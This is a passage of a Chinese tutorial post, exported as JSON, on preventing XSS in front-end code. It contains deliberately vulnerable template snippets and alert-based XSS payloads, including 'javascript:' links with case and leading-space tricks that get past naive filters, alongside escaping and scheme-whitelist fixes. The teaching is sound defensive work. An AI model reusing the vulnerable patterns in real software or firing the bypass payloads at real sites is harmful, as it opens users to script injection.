{"id":286346,"date":"2022-04-03T09:32:40","date_gmt":"2022-04-03T01:32:40","guid":{"rendered":"https:\/\/www.idc.net\/help\/286346\/"},"modified":"2022-04-03T09:32:40","modified_gmt":"2022-04-03T01:32:40","slug":"%e5%89%8d%e7%ab%af%e5%ae%89%e5%85%a8%e4%bf%9d%e9%9a%9c%e4%b9%8b%e5%a6%82%e4%bd%95%e9%98%b2%e6%ad%a2xss%e6%94%bb%e5%87%bb%ef%bc%9f","status":"publish","type":"post","link":"https:\/\/idc.net\/help\/286346\/","title":{"rendered":"\u524d\u7aef\u5b89\u5168\u4fdd\u969c\u4e4b\u5982\u4f55\u9632\u6b62XSS\u653b\u51fb\uff1f"},"content":{"rendered":"

[[245811]]<\/span><\/p>\n

 \u524d\u7aef\u5b89\u5168<\/strong><\/p>\n

\u968f\u7740\u4e92\u8054\u7f51\u7684\u9ad8\u901f\u53d1\u5c55\uff0c\u4fe1\u606f\u5b89\u5168\u95ee\u9898\u5df2\u7ecf\u6210\u4e3a\u4f01\u4e1a\u6700\u4e3a\u5173\u6ce8\u7684\u7126\u70b9\u4e4b\u4e00\uff0c\u800c\u524d\u7aef\u53c8\u662f\u5f15\u53d1\u4f01\u4e1a\u5b89\u5168\u95ee\u9898\u7684\u9ad8\u5371\u636e\u70b9\u3002\u5728\u79fb\u52a8\u4e92\u8054\u7f51\u65f6\u4ee3\uff0c\u524d\u7aef\u4eba\u5458\u9664\u4e86\u4f20\u7edf\u7684 XSS\u3001CSRF \u7b49\u5b89\u5168\u95ee\u9898\u4e4b\u5916\uff0c\u53c8\u65f6\u5e38\u906d\u9047\u7f51\u7edc\u52ab\u6301\u3001\u975e\u6cd5\u8c03\u7528 Hybrid API \u7b49\u65b0\u578b\u5b89\u5168\u95ee\u9898\u3002\u5f53\u7136\uff0c\u6d4f\u89c8\u5668\u81ea\u8eab\u4e5f\u5728\u4e0d\u65ad\u5728\u8fdb\u5316\u548c\u53d1\u5c55\uff0c\u4e0d\u65ad\u5f15\u5165 CSP\u3001Same-Site Cookies \u7b49\u65b0\u6280\u672f\u6765\u589e\u5f3a\u5b89\u5168\u6027\uff0c\u4f46\u662f\u4ecd\u5b58\u5728\u5f88\u591a\u6f5c\u5728\u7684\u5a01\u80c1\uff0c\u8fd9\u9700\u8981\u524d\u7aef\u6280\u672f\u4eba\u5458\u4e0d\u65ad\u8fdb\u884c\u201c\u67e5\u6f0f\u8865\u7f3a\u201d\u3002<\/p>\n

\u8fd1\u51e0\u5e74\uff0c\u7f8e\u56e2\u4e1a\u52a1\u9ad8\u901f\u53d1\u5c55\uff0c\u524d\u7aef\u968f\u4e4b\u9762\u4e34\u5f88\u591a\u5b89\u5168\u6311\u6218\uff0c\u56e0\u6b64\u79ef\u7d2f\u4e86\u5927\u91cf\u7684\u5b9e\u8df5\u7ecf\u9a8c\u3002\u6211\u4eec\u68b3\u7406\u4e86\u5e38\u89c1\u7684\u524d\u7aef\u5b89\u5168\u95ee\u9898\u4ee5\u53ca\u5bf9\u5e94\u7684\u89e3\u51b3\u65b9\u6848\uff0c\u5c06\u4f1a\u505a\u6210\u4e00\u4e2a\u7cfb\u5217\uff0c\u5e0c\u671b\u53ef\u4ee5\u5e2e\u52a9\u524d\u7aef\u4eba\u5458\u5728\u65e5\u5e38\u5f00\u53d1\u4e2d\u4e0d\u65ad\u9884\u9632\u548c\u4fee\u590d\u5b89\u5168\u6f0f\u6d1e\u3002\u672c\u6587\u662f\u8be5\u7cfb\u5217\u7684\u7b2c\u4e00\u7bc7\u3002<\/p>\n

\u672c\u6587\u6211\u4eec\u4f1a\u8bb2\u89e3 XSS \uff0c\u4e3b\u8981\u5305\u62ec\uff1a<\/p>\n

    \n
  1.  XSS \u653b\u51fb\u7684\u4ecb\u7ecd<\/li>\n
  2.  XSS \u653b\u51fb\u7684\u5206\u7c7b<\/li>\n
  3.  XSS \u653b\u51fb\u7684\u9884\u9632\u548c\u68c0\u6d4b<\/li>\n
  4.  XSS \u653b\u51fb\u7684\u603b\u7ed3<\/li>\n
  5.  XSS \u653b\u51fb\u6848\u4f8b<\/li>\n<\/ol>\n

    XSS \u653b\u51fb\u7684\u4ecb\u7ecd<\/strong><\/p>\n

    \u5728\u5f00\u59cb\u672c\u6587\u4e4b\u524d\uff0c\u6211\u4eec\u5148\u63d0\u51fa\u4e00\u4e2a\u95ee\u9898\uff0c\u8bf7\u5224\u65ad\u4ee5\u4e0b\u4e24\u4e2a\u8bf4\u6cd5\u662f\u5426\u6b63\u786e\uff1a<\/p>\n

      \n
    1.  XSS \u9632\u8303\u662f\u540e\u7aef RD\uff08\u7814\u53d1\u4eba\u5458\uff09\u7684\u8d23\u4efb\uff0c\u540e\u7aef RD \u5e94\u8be5\u5728\u6240\u6709\u7528\u6237\u63d0\u4ea4\u6570\u636e\u7684\u63a5\u53e3\uff0c\u5bf9\u654f\u611f\u5b57\u7b26\u8fdb\u884c\u8f6c\u4e49\uff0c\u624d\u80fd\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c\u3002<\/li>\n
    2.  \u6240\u6709\u8981\u63d2\u5165\u5230\u9875\u9762\u4e0a\u7684\u6570\u636e\uff0c\u90fd\u8981\u901a\u8fc7\u4e00\u4e2a\u654f\u611f\u5b57\u7b26\u8fc7\u6ee4\u51fd\u6570\u7684\u8f6c\u4e49\uff0c\u8fc7\u6ee4\u6389\u901a\u7528\u7684\u654f\u611f\u5b57\u7b26\u540e\uff0c\u5c31\u53ef\u4ee5\u63d2\u5165\u5230\u9875\u9762\u4e2d\u3002<\/li>\n<\/ol>\n

      \u5982\u679c\u4f60\u8fd8\u4e0d\u80fd\u786e\u5b9a\u7b54\u6848\uff0c\u90a3\u4e48\u53ef\u4ee5\u5e26\u7740\u8fd9\u4e9b\u95ee\u9898\u5411\u4e0b\u770b\uff0c\u6211\u4eec\u5c06\u9010\u6b65\u62c6\u89e3\u95ee\u9898\u3002<\/p>\n

      XSS \u6f0f\u6d1e\u7684\u53d1\u751f\u548c\u4fee\u590d<\/strong><\/p>\n

      XSS \u653b\u51fb\u662f\u9875\u9762\u88ab\u6ce8\u5165\u4e86\u6076\u610f\u7684\u4ee3\u7801\uff0c\u4e3a\u4e86\u66f4\u5f62\u8c61\u7684\u4ecb\u7ecd\uff0c\u6211\u4eec\u7528\u53d1\u751f\u5728\u5c0f\u660e\u540c\u5b66\u8eab\u8fb9\u7684\u4e8b\u4f8b\u6765\u8fdb\u884c\u8bf4\u660e\u3002<\/p>\n

      \u4e00\u4e2a\u6848\u4f8b<\/strong><\/p>\n

      \u67d0\u5929\uff0c\u516c\u53f8\u9700\u8981\u4e00\u4e2a\u641c\u7d22\u9875\u9762\uff0c\u6839\u636e URL \u53c2\u6570\u51b3\u5b9a\u5173\u952e\u8bcd\u7684\u5185\u5bb9\u3002\u5c0f\u660e\u5f88\u5feb\u628a\u9875\u9762\u5199\u597d\u5e76\u4e14\u4e0a\u7ebf\u3002\u4ee3\u7801\u5982\u4e0b\uff1a <\/p>\n

      \n \n \n 
        \n  \n  \n  
      1. <<\/span>input<\/span> <\/span>type<\/span>=<\/span>\"text\"<\/span> <\/span>value<\/span>=\"<\/span><<\/span>%= getParameter(\"keyword<\/span>\") %>\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
      2. <<\/span>button<\/span>><\/span>\u641c\u7d22<\/span><\/<\/span>button<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
      3. <<\/span>div<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
      4.   \u60a8\u641c\u7d22\u7684\u5173\u952e\u8bcd\u662f\uff1a<<\/span>%= getParameter(\"keyword\") %<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
      5. <\/<\/span>div<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
        \u7136\u800c\uff0c\u5728\u4e0a\u7ebf\u540e\u4e0d\u4e45\uff0c\u5c0f\u660e\u5c31\u63a5\u5230\u4e86\u5b89\u5168\u7ec4\u53d1\u6765\u7684\u4e00\u4e2a\u795e\u79d8\u94fe\u63a5\uff1a<\/p>\n
        http:\/\/xxx\/search?keyword=\"><script>alert('XSS');<\/script><\/p>\n
        \u5c0f\u660e\u5e26\u7740\u4e00\u79cd\u4e0d\u7965\u7684\u9884\u611f\u70b9\u5f00\u4e86\u8fd9\u4e2a\u94fe\u63a5<span style=\"color:red\">[\u8bf7\u52ff\u6a21\u4eff\uff0c\u786e\u8ba4\u5b89\u5168\u7684\u94fe\u63a5\u624d\u80fd\u70b9\u5f00]<\/span>\u3002\u679c\u7136\uff0c\u9875\u9762\u4e2d\u5f39\u51fa\u4e86\u5199\u7740\"XSS\"\u7684\u5bf9\u8bdd\u6846\u3002<\/p>\n
        \u53ef\u6076\uff0c\u4e2d\u62db\u4e86\uff01\u5c0f\u660e\u7709\u5934\u4e00\u76b1\uff0c\u53d1\u73b0\u4e86\u5176\u4e2d\u7684\u5965\u79d8\uff1a<\/p>\n
        \u5f53\u6d4f\u89c8\u5668\u8bf7\u6c42 http:\/\/xxx\/search?keyword=\"><script>alert('XSS');<\/script> \u65f6\uff0c\u670d\u52a1\u7aef\u4f1a\u89e3\u6790\u51fa\u8bf7\u6c42\u53c2\u6570 keyword\uff0c\u5f97\u5230 \"><script>alert('XSS');<\/script>\uff0c\u62fc\u63a5\u5230 HTML \u4e2d\u8fd4\u56de\u7ed9\u6d4f\u89c8\u5668\u3002\u5f62\u6210\u4e86\u5982\u4e0b\u7684 HTML\uff1a <\/p>\n
        \n \n \n 
          \n  \n  \n  
        1. <<\/span>input<\/span> <\/span>type<\/span>=<\/span>\"text\"<\/span> <\/span>value<\/span>=<\/span>\"\"<\/span>><\/span><<\/span>script<\/span>><\/span>alert('XSS');<\/span><\/<\/span>script<\/span>><\/span>\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
        2. <<\/span>button<\/span>><\/span>\u641c\u7d22<\/span><\/<\/span>button<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
        3. <<\/span>div<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
        4.   \u60a8\u641c\u7d22\u7684\u5173\u952e\u8bcd\u662f\uff1a\"><\/span><<\/span>script<\/span>><\/span>alert('XSS');<\/span><\/<\/span>script<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
        5. <\/<\/span>div<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
          \u6d4f\u89c8\u5668\u65e0\u6cd5\u5206\u8fa8\u51fa <script>alert('XSS');<\/script> \u662f\u6076\u610f\u4ee3\u7801\uff0c\u56e0\u800c\u5c06\u5176\u6267\u884c\u3002<\/p>\n
          \u8fd9\u91cc\u4e0d\u4ec5\u4ec5 div \u7684\u5185\u5bb9\u88ab\u6ce8\u5165\u4e86\uff0c\u800c\u4e14 input \u7684 value \u5c5e\u6027\u4e5f\u88ab\u6ce8\u5165\uff0c alert \u4f1a\u5f39\u51fa\u4e24\u6b21\u3002<\/p>\n
          \u9762\u5bf9\u8fd9\u79cd\u60c5\u51b5\uff0c\u6211\u4eec\u5e94\u8be5\u5982\u4f55\u8fdb\u884c\u9632\u8303\u5462\uff1f<\/p>\n
          \u5176\u5b9e\uff0c\u8fd9\u53ea\u662f\u6d4f\u89c8\u5668\u628a\u7528\u6237\u7684\u8f93\u5165\u5f53\u6210\u4e86\u811a\u672c\u8fdb\u884c\u4e86\u6267\u884c\u3002\u90a3\u4e48\u53ea\u8981\u544a\u8bc9\u6d4f\u89c8\u5668\u8fd9\u6bb5\u5185\u5bb9\u662f\u6587\u672c\u5c31\u53ef\u4ee5\u4e86\u3002<\/p>\n
          \u806a\u660e\u7684\u5c0f\u660e\u5f88\u5feb\u627e\u5230\u89e3\u51b3\u65b9\u6cd5\uff0c\u628a\u8fd9\u4e2a\u6f0f\u6d1e\u4fee\u590d\uff1a <\/p>\n
          \n \n \n 
            \n  \n  \n  
          1. <<\/span>input<\/span> <\/span>type<\/span>=<\/span>\"text\"<\/span> <\/span>value<\/span>=\"<\/span><<\/span>%= escapeHTML(getParameter(\"keyword<\/span>\")) %>\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
          2. <<\/span>button<\/span>><\/span>\u641c\u7d22<\/span><\/<\/span>button<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
          3. <<\/span>div<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
          4.   \u60a8\u641c\u7d22\u7684\u5173\u952e\u8bcd\u662f\uff1a<<\/span>%= escapeHTML(getParameter(\"keyword\")) %<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
          5. <\/<\/span>div<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
            escapeHTML() \u6309\u7167\u5982\u4e0b\u89c4\u5219\u8fdb\u884c\u8f6c\u4e49\uff1a<\/p>\n\n\n\n\n\n\n\n\n\n\n
            \u5b57\u7b26<\/th>\n\u8f6c\u4e49\u540e\u7684\u5b57\u7b26<\/th>\n<\/tr>\n<\/thead>\n
            &<\/code><\/td>\n&amp;<\/code><\/td>\n<\/tr>\n
            <<\/code><\/td>\n&lt;<\/code><\/td>\n<\/tr>\n
            ><\/code><\/td>\n&gt;<\/code><\/td>\n<\/tr>\n
            \"<\/code><\/td>\n&quot;<\/code><\/td>\n<\/tr>\n
            '<\/code><\/td>\n'<\/code><\/td>\n<\/tr>\n
            \/<\/code><\/td>\n/<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
             <\/p>\n
            \u7ecf\u8fc7\u4e86\u8f6c\u4e49\u51fd\u6570\u7684\u5904\u7406\u540e\uff0c\u6700\u7ec8\u6d4f\u89c8\u5668\u63a5\u6536\u5230\u7684\u54cd\u5e94\u4e3a\uff1a <\/p>\n
            \n \n \n 
              \n  \n  \n  
            1. <<\/span>input<\/span> <\/span>type<\/span>=<\/span>\"text\"<\/span> <\/span>value<\/span>=<\/span>\"&quot;&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
            2. <<\/span>button<\/span>><\/span>\u641c\u7d22<\/span><\/<\/span>button<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
            3. <<\/span>div<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
            4.   \u60a8\u641c\u7d22\u7684\u5173\u952e\u8bcd\u662f\uff1a&quot;&gt;<\/span>&lt;<\/span>script<\/span>&gt;<\/span>alert('XSS');<\/span>&lt;<\/span>/script<\/span>&gt;<\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
            5. <\/<\/span>div<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
              \u6076\u610f\u4ee3\u7801\u90fd\u88ab\u8f6c\u4e49\uff0c\u4e0d\u518d\u88ab\u6d4f\u89c8\u5668\u6267\u884c\uff0c\u800c\u4e14\u641c\u7d22\u8bcd\u80fd\u591f\u5b8c\u7f8e\u7684\u5728\u9875\u9762\u663e\u793a\u51fa\u6765\u3002<\/p>\n
              \u901a\u8fc7\u8fd9\u4e2a\u4e8b\u4ef6\uff0c\u5c0f\u660e\u5b66\u4e60\u5230\u4e86\u5982\u4e0b\u77e5\u8bc6\uff1a<\/p>\n
                \n
              •  \u901a\u5e38\u9875\u9762\u4e2d\u5305\u542b\u7684\u7528\u6237\u8f93\u5165\u5185\u5bb9\u90fd\u5728\u56fa\u5b9a\u7684\u5bb9\u5668\u6216\u8005\u5c5e\u6027\u5185\uff0c\u4ee5\u6587\u672c\u7684\u5f62\u5f0f\u5c55\u793a\u3002<\/li>\n
              •  \u653b\u51fb\u8005\u5229\u7528\u8fd9\u4e9b\u9875\u9762\u7684\u7528\u6237\u8f93\u5165\u7247\u6bb5\uff0c\u62fc\u63a5\u7279\u6b8a\u683c\u5f0f\u7684\u5b57\u7b26\u4e32\uff0c\u7a81\u7834\u539f\u6709\u4f4d\u7f6e\u7684\u9650\u5236\uff0c\u5f62\u6210\u4e86\u4ee3\u7801\u7247\u6bb5\u3002<\/li>\n
              •  \u653b\u51fb\u8005\u901a\u8fc7\u5728\u76ee\u6807\u7f51\u7ad9\u4e0a\u6ce8\u5165\u811a\u672c\uff0c\u4f7f\u4e4b\u5728\u7528\u6237\u7684\u6d4f\u89c8\u5668\u4e0a\u8fd0\u884c\uff0c\u4ece\u800c\u5f15\u53d1\u6f5c\u5728\u98ce\u9669\u3002<\/li>\n
              • \n
                 \u901a\u8fc7 HTML \u8f6c\u4e49\uff0c\u53ef\u4ee5\u9632\u6b62 XSS \u653b\u51fb\u3002<span style=\"color:red\">[\u4e8b\u60c5\u5f53\u7136\u6ca1\u6709\u8fd9\u4e48\u7b80\u5355\u5566\uff01\u8bf7\u7ee7\u7eed\u5f80\u4e0b\u770b]<\/span>\u3002<\/p>\n<\/li>\n<\/ul>\n
                \u6ce8\u610f\u7279\u6b8a\u7684 HTML \u5c5e\u6027\u3001JavaScript API<\/strong><\/p>\n
                \u81ea\u4ece\u4e0a\u6b21\u4e8b\u4ef6\u4e4b\u540e\uff0c\u5c0f\u660e\u4f1a\u5c0f\u5fc3\u7684\u628a\u63d2\u5165\u5230\u9875\u9762\u4e2d\u7684\u6570\u636e\u8fdb\u884c\u8f6c\u4e49\u3002\u800c\u4e14\u4ed6\u8fd8\u53d1\u73b0\u4e86\u5927\u90e8\u5206\u6a21\u677f\u90fd\u5e26\u6709\u7684\u8f6c\u4e49\u914d\u7f6e\uff0c\u8ba9\u6240\u6709\u63d2\u5165\u5230\u9875\u9762\u4e2d\u7684\u6570\u636e\u90fd\u9ed8\u8ba4\u8fdb\u884c\u8f6c\u4e49\u3002\u8fd9\u6837\u5c31\u4e0d\u6015\u4e0d\u5c0f\u5fc3\u6f0f\u6389\u672a\u8f6c\u4e49\u7684\u53d8\u91cf\u5566\uff0c\u4e8e\u662f\u5c0f\u660e\u7684\u5de5\u4f5c\u53c8\u6e10\u6e10\u53d8\u5f97\u8f7b\u677e\u8d77\u6765\u3002<\/p>\n
                \u4f46\u662f\uff0c\u4f5c\u4e3a\u5bfc\u6f14\u7684\u6211\uff0c\u4e0d\u53ef\u80fd\u8ba9\u5c0f\u660e\u8fd9\u4e48\u7b80\u5355\u3001\u5f00\u5fc3\u5730\u6539 Bug \u3002<\/p>\n
                \u4e0d\u4e45\uff0c\u5c0f\u660e\u53c8\u6536\u5230\u5b89\u5168\u7ec4\u7684\u795e\u79d8\u94fe\u63a5\uff1ahttp:\/\/xxx\/?redirect_to=javascript:alert('XSS')\u3002\u5c0f\u660e\u4e0d\u6562\u5927\u610f\uff0c\u8d76\u5fd9\u70b9\u5f00\u9875\u9762\u3002\u7136\u800c\uff0c\u9875\u9762\u5e76\u6ca1\u6709\u81ea\u52a8\u5f39\u51fa\u4e07\u6076\u7684\u201cXSS\u201d\u3002<\/p>\n
                \u5c0f\u660e\u6253\u5f00\u5bf9\u5e94\u9875\u9762\u7684\u6e90\u7801\uff0c\u53d1\u73b0\u6709\u4ee5\u4e0b\u5185\u5bb9\uff1a <\/p>\n
                \n \n \n 
                  \n  \n  \n  
                1. <<\/span>a<\/span> <\/span>href<\/span>=\"<\/span><<\/span>%= escapeHTML(getParameter(\"redirect_to<\/span>\")) %>\"<\/span>><\/span>\u8df3\u8f6c...<\/span><\/<\/span>a<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                  \u8fd9\u6bb5\u4ee3\u7801\uff0c\u5f53\u653b\u51fb URL \u4e3a http:\/\/xxx\/?redirect_to=javascript:alert('XSS')\uff0c\u670d\u52a1\u7aef\u54cd\u5e94\u5c31\u6210\u4e86\uff1a <\/p>\n
                  \n \n \n 
                    \n  \n  \n  
                  1. <<\/span>a<\/span> <\/span>href<\/span>=<\/span>\"javascript:alert('XSS')\"<\/span>><\/span>\u8df3\u8f6c...<\/span><\/<\/span>a<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                    \u867d\u7136\u4ee3\u7801\u4e0d\u4f1a\u7acb\u5373\u6267\u884c\uff0c\u4f46\u4e00\u65e6\u7528\u6237\u70b9\u51fb a \u6807\u7b7e\u65f6\uff0c\u6d4f\u89c8\u5668\u4f1a\u5c31\u4f1a\u5f39\u51fa\u201cXSS\u201d\u3002<\/p>\n
                    \u53ef\u6076\uff0c\u53c8\u5931\u7b56\u4e86...<\/p>\n
                    \u5728\u8fd9\u91cc\uff0c\u7528\u6237\u7684\u6570\u636e\u5e76\u6ca1\u6709\u5728\u4f4d\u7f6e\u4e0a\u7a81\u7834\u6211\u4eec\u7684\u9650\u5236\uff0c\u4ecd\u7136\u662f\u6b63\u786e\u7684 href \u5c5e\u6027\u3002\u4f46\u5176\u5185\u5bb9\u5e76\u4e0d\u662f\u6211\u4eec\u6240\u9884\u671f\u7684\u7c7b\u578b\u3002<\/p>\n
                    \u539f\u6765\u4e0d\u4ec5\u4ec5\u662f\u7279\u6b8a\u5b57\u7b26\uff0c\u8fde javascript: \u8fd9\u6837\u7684\u5b57\u7b26\u4e32\u5982\u679c\u51fa\u73b0\u5728\u7279\u5b9a\u7684\u4f4d\u7f6e\u4e5f\u4f1a\u5f15\u53d1 XSS \u653b\u51fb\u3002<\/p>\n
                    \u5c0f\u660e\u7709\u5934\u4e00\u76b1\uff0c\u60f3\u5230\u4e86\u89e3\u51b3\u529e\u6cd5\uff1a <\/p>\n
                    \n \n \n 
                      \n  \n  \n  
                    1. \/\/ \u7981\u6b62 URL \u4ee5 \"javascript:\" \u5f00\u5934 <\/span><\/span> <\/span><\/li>\n  \n  \n  
                    2. xss<\/span> = <\/span>getParameter<\/span>(\"redirect_to\").startsWith('javascript:'); <\/span><\/span> <\/span><\/li>\n  \n  \n  
                    3. if (!xss) { <\/span> <\/span><\/li>\n  \n  \n  
                    4.   <<\/span>a<\/span> <\/span>href<\/span>=\"<\/span><<\/span>%= escapeHTML(getParameter(\"redirect_to<\/span>\"))%>\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                    5.     \u8df3\u8f6c... <\/span> <\/span><\/li>\n  \n  \n  
                    6.   <\/<\/span>a<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                    7. } else { <\/span> <\/span><\/li>\n  \n  \n  
                    8.   <<\/span>a<\/span> <\/span>href<\/span>=<\/span>\"\/404\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                    9.     \u8df3\u8f6c... <\/span> <\/span><\/li>\n  \n  \n  
                    10.   <\/<\/span>a<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                    11. } <\/span><\/li>\n \n \n <\/ol><\/pre>\n
                      \u53ea\u8981 URL \u7684\u5f00\u5934\u4e0d\u662f javascript:\uff0c\u5c31\u5b89\u5168\u4e86\u5427\uff1f<\/p>\n
                      \u5b89\u5168\u7ec4\u968f\u624b\u53c8\u6254\u4e86\u4e00\u4e2a\u8fde\u63a5\uff1ahttp:\/\/xxx\/?redirect_to=jAvascRipt:alert('XSS')<\/p>\n
                      \u8fd9\u4e5f\u80fd\u6267\u884c\uff1f.....\u597d\u5427\uff0c\u6d4f\u89c8\u5668\u5c31\u662f\u8fd9\u4e48\u5f3a\u5927\u3002<\/p>\n
                      \u5c0f\u660e\u6b32\u54ed\u65e0\u6cea\uff0c\u5728\u5224\u65ad URL \u5f00\u5934\u662f\u5426\u4e3a javascript: \u65f6\uff0c\u5148\u628a\u7528\u6237\u8f93\u5165\u8f6c\u6210\u4e86\u5c0f\u5199\uff0c\u7136\u540e\u518d\u8fdb\u884c\u6bd4\u5bf9\u3002<\/p>\n
                      \u4e0d\u8fc7\uff0c\u6240\u8c13\u201c\u9053\u9ad8\u4e00\u5c3a\uff0c\u9b54\u9ad8\u4e00\u4e08\u201d\u3002\u9762\u5bf9\u5c0f\u660e\u7684\u9632\u62a4\u7b56\u7565\uff0c\u5b89\u5168\u7ec4\u5c31\u6784\u9020\u4e86\u8fd9\u6837\u4e00\u4e2a\u8fde\u63a5\uff1a<\/p>\n
                      http:\/\/xxx\/?redirect_to=%20javascript:alert('XSS')<\/p>\n
                      %20javascript:alert('XSS') \u7ecf\u8fc7 URL \u89e3\u6790\u540e\u53d8\u6210 javascript:alert('XSS')\uff0c\u8fd9\u4e2a\u5b57\u7b26\u4e32\u4ee5\u7a7a\u683c\u5f00\u5934\u3002\u8fd9\u6837\u653b\u51fb\u8005\u53ef\u4ee5\u7ed5\u8fc7\u540e\u7aef\u7684\u5173\u952e\u8bcd\u89c4\u5219\uff0c\u53c8\u6210\u529f\u7684\u5b8c\u6210\u4e86\u6ce8\u5165\u3002<\/p>\n
                      \u6700\u7ec8\uff0c\u5c0f\u660e\u9009\u62e9\u4e86\u767d\u540d\u5355\u7684\u65b9\u6cd5\uff0c\u5f7b\u5e95\u89e3\u51b3\u4e86\u8fd9\u4e2a\u6f0f\u6d1e\uff1a <\/p>\n
                      \n \n \n 
                        \n  \n  \n  
                      1. \/\/ \u6839\u636e\u9879\u76ee\u60c5\u51b5\u8fdb\u884c\u8fc7\u6ee4\uff0c\u7981\u6b62\u6389 \"javascript:\" \u94fe\u63a5\u3001\u975e\u6cd5 scheme \u7b49 <\/span><\/span> <\/span><\/li>\n  \n  \n  
                      2. allowSchemes<\/span> = [\"http\", \"https\"]; <\/span><\/span> <\/span><\/li>\n  \n  \n  
                      3. valid<\/span> = <\/span>isValid<\/span>(getParameter(\"redirect_to\"), allowSchemes); <\/span><\/span> <\/span><\/li>\n  \n  \n  
                      4. if (valid) { <\/span> <\/span><\/li>\n  \n  \n  
                      5.   <<\/span>a<\/span> <\/span>href<\/span>=\"<\/span><<\/span>%= escapeHTML(getParameter(\"redirect_to<\/span>\"))%>\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                      6.     \u8df3\u8f6c... <\/span> <\/span><\/li>\n  \n  \n  
                      7.   <\/<\/span>a<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                      8. } else { <\/span> <\/span><\/li>\n  \n  \n  
                      9.   <<\/span>a<\/span> <\/span>href<\/span>=<\/span>\"\/404\"<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                      10.     \u8df3\u8f6c... <\/span> <\/span><\/li>\n  \n  \n  
                      11.   <\/<\/span>a<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                      12. } <\/span><\/li>\n \n \n <\/ol><\/pre>\n
                        \u901a\u8fc7\u8fd9\u4e2a\u4e8b\u4ef6\uff0c\u5c0f\u660e\u5b66\u4e60\u5230\u4e86\u5982\u4e0b\u77e5\u8bc6\uff1a<\/p>\n
                          \n
                        •  \u505a\u4e86 HTML \u8f6c\u4e49\uff0c\u5e76\u4e0d\u7b49\u4e8e\u9ad8\u6795\u65e0\u5fe7\u3002<\/li>\n
                        •  \u5bf9\u4e8e\u94fe\u63a5\u8df3\u8f6c\uff0c\u5982 <a href=\"xxx\" \u6216 location.href=\"xxx\"\uff0c\u8981\u68c0\u9a8c\u5176\u5185\u5bb9\uff0c\u7981\u6b62\u4ee5 javascript: \u5f00\u5934\u7684\u94fe\u63a5\uff0c\u548c\u5176\u4ed6\u975e\u6cd5\u7684 scheme\u3002<\/li>\n<\/ul>\n
                          \u6839\u636e\u4e0a\u4e0b\u6587\u91c7\u7528\u4e0d\u540c\u7684\u8f6c\u4e49\u89c4\u5219<\/strong><\/p>\n
                          \u67d0\u5929\uff0c\u5c0f\u660e\u4e3a\u4e86\u52a0\u5feb\u7f51\u9875\u7684\u52a0\u8f7d\u901f\u5ea6\uff0c\u628a\u4e00\u4e2a\u6570\u636e\u901a\u8fc7 JSON \u7684\u65b9\u5f0f\u5185\u8054\u5230 HTML \u4e2d\uff1a <\/p>\n
                          \n \n \n 
                            \n  \n  \n  
                          1. <<\/span>script<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                          2. var initData<\/span> = <\/span><<\/span>%= data.toJSON() %<\/span>><\/span> <\/span><\/span> <\/span><\/li>\n  \n  \n  
                          3. <\/<\/span>script<\/span>><\/span> <\/span><\/span><\/li>\n \n \n <\/ol><\/pre>\n
                            \u63d2\u5165 JSON \u7684\u5730\u65b9\u4e0d\u80fd\u4f7f\u7528 escapeHTML()\uff0c\u56e0\u4e3a\u8f6c\u4e49 \" \u540e\uff0cJSON \u683c\u5f0f\u4f1a\u88ab\u7834\u574f\u3002<\/p>\n
                            \u4f46\u5b89\u5168\u7ec4\u53c8\u53d1\u73b0\u6709\u6f0f\u6d1e\uff0c\u539f\u6765\u8fd9\u6837\u5185\u8054 JSON \u4e5f\u662f\u4e0d\u5b89\u5168\u7684\uff1a<\/p>\n
                              \n
                            •  \u5f53 JSON \u4e2d\u5305\u542b U+2028 \u6216 U+2029 \u8fd9\u4e24\u4e2a\u5b57\u7b26\u65f6\uff0c\u4e0d\u80fd\u4f5c\u4e3a JavaScript \u7684\u5b57\u9762\u91cf\u4f7f\u7528\uff0c\u5426\u5219\u4f1a\u629b\u51fa\u8bed\u6cd5\u9519\u8bef\u3002<\/li>\n
